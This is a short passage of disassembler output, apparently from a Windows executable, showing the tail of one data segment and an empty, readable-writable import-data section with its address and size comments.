;org 488000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 28Eh dup(0)
db 3 dup(0)
_nsp2 ends
; Section 4. (virtual address 00089000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00088C00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 489000h
align 2000h
_idata2 ends
end start